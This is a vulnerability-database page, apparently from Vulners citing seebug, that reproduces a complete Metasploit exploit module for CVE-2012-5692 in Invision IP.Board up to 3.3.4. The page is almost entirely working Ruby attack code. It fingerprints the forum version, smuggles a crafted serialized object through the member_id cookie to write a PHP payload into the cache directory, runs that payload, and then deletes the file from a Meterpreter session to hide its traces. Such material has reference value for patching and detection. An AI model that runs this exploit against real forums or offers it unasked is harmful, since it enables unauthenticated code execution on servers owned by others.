Lucene search
K

Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 65 Views

Invision IP.Board <= 3.3.4 PHP Code Executio

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Invision IP.Board &#60;= 3.3.4 unserialize() PHP Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a php unserialize() vulnerability in Invision IP.Board
				&#60;= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
				code under the context of the webserver user.

				The dangerous unserialize() exists in the &#39;/admin/sources/base/core.php&#39; script,
				which is called with user controlled data from the cookie. The exploit abuses the
				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
				the Invision IP.Board web directory.

				The exploit has been tested successfully on Invision IP.Board 3.3.4.
			},
			&#39;Author&#39;	=&#62;
				[
					&#39;EgiX&#39;,         # Vulnerability discovery and PoC
					&#39;juan vazquez&#39;, # Metasploit module
					&#39;sinn3r&#39;        # PhpEXE tekniq & check() method
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-5692&#39; ],
					[ &#39;OSVDB&#39;, &#39;86702&#39; ],
					[ &#39;BID&#39;, &#39;56288&#39; ],
					[ &#39;EDB&#39;, &#39;22398&#39; ],
					[ &#39;URL&#39;, &#39;http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/&#39; ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Platform&#39;       =&#62; [&#39;php&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;       =&#62; 8000, #Apache&#39;s limit for GET
					&#39;DisableNops&#39; =&#62; true
				},
			&#39;Targets&#39;        =&#62; [ [&#39;Invision IP.Board 3.3.4&#39;, {}] ],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 25 2012&#39;
			))

		register_options(
			[
				OptString.new(&#39;TARGETURI&#39;, [ true, &#34;The base path to the web application&#34;, &#34;/forums/&#34;])
			], self.class)
	end

	def base
		base = target_uri.path
		base &#60;&#60; &#39;/&#39; if base[-1, 1] != &#39;/&#39;
		return base
	end

	def check
		res = send_request_raw({&#39;uri&#39;=&#62;&#34;#{base}index.php&#34;})
		return Exploit::CheckCode::Unknown if not res

		version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
		version = version.map {|e| e.to_i}

		# We only want major version 3
		# This version checking is based on OSVDB&#39;s info
		return Exploit::CheckCode::Safe if version[0] != 3

		case version[1]
		when 1
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		when 2
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
		when 3
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		end

		return Exploit::CheckCode::Safe
	end

	def on_new_session(client)
		if client.type == &#34;meterpreter&#34;
			client.core.use(&#34;stdapi&#34;) if not client.ext.aliases.include?(&#34;stdapi&#34;)
			begin
				print_warning(&#34;#{@peer} - Deleting #{@upload_php}&#34;)
				client.fs.file.rm(@upload_php)
				print_good(&#34;#{@peer} - #{@upload_php} removed to stay ninja&#34;)
			rescue
				print_error(&#34;#{@peer} - Unable to remove #{f}&#34;)
			end
		end
	end

	def exploit
		@upload_php = rand_text_alpha(rand(4) + 4) + &#34;.php&#34;
		@peer = &#34;#{rhost}:#{rport}&#34;

		# get_write_exec_payload uses a function, which limits our ability to support
		# Linux payloads, because that requires a space:
		#   function my_cmd
		# becomes:
		#   functionmy_cmd #Causes parsing error
		# We&#39;ll have to address that in the mixin, and then come back to this module
		# again later.
		php_payload = get_write_exec_payload(:unlink_self=&#62;true)
		php_payload = php_payload.gsub(/^\&#60;\?php/, &#39;&#60;?&#39;)
		php_payload = php_payload.gsub(/ /,&#39;&#39;)

		db_driver_mysql = &#34;a:1:{i:0;O:15:\&#34;db_driver_mysql\&#34;:1:{s:3:\&#34;obj\&#34;;a:2:{s:13:\&#34;use_debug_log\&#34;;i:1;s:9:\&#34;debug_log\&#34;;s:#{&#34;cache/#{@upload_php}&#34;.length}:\&#34;cache/#{@upload_php}\&#34;;}}}&#34;

		print_status(&#34;#{@peer} - Exploiting the unserialize() to upload PHP code&#34;)

		res = send_request_cgi(
		{
			&#39;uri&#39; =&#62; &#34;#{base}index.php?#{php_payload}&#34;,
			&#39;method&#39; =&#62; &#39;GET&#39;,
			&#39;cookie&#39; =&#62; &#34;member_id=#{Rex::Text.uri_encode(db_driver_mysql)}&#34;
		})

		if not res or res.code != 200
			print_error(&#34;#{@peer} - Exploit failed: #{res.code}&#34;)
			return
		end

		print_status(&#34;#{@peer} - Executing the payload #{@upload_php}&#34;)

		res = send_request_raw({&#39;uri&#39; =&#62; &#34;#{base}cache/#{@upload_php}&#34;})

		if res
			print_error(&#34;#{@peer} - Payload execution failed: #{res.code}&#34;)
			return
		end

	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation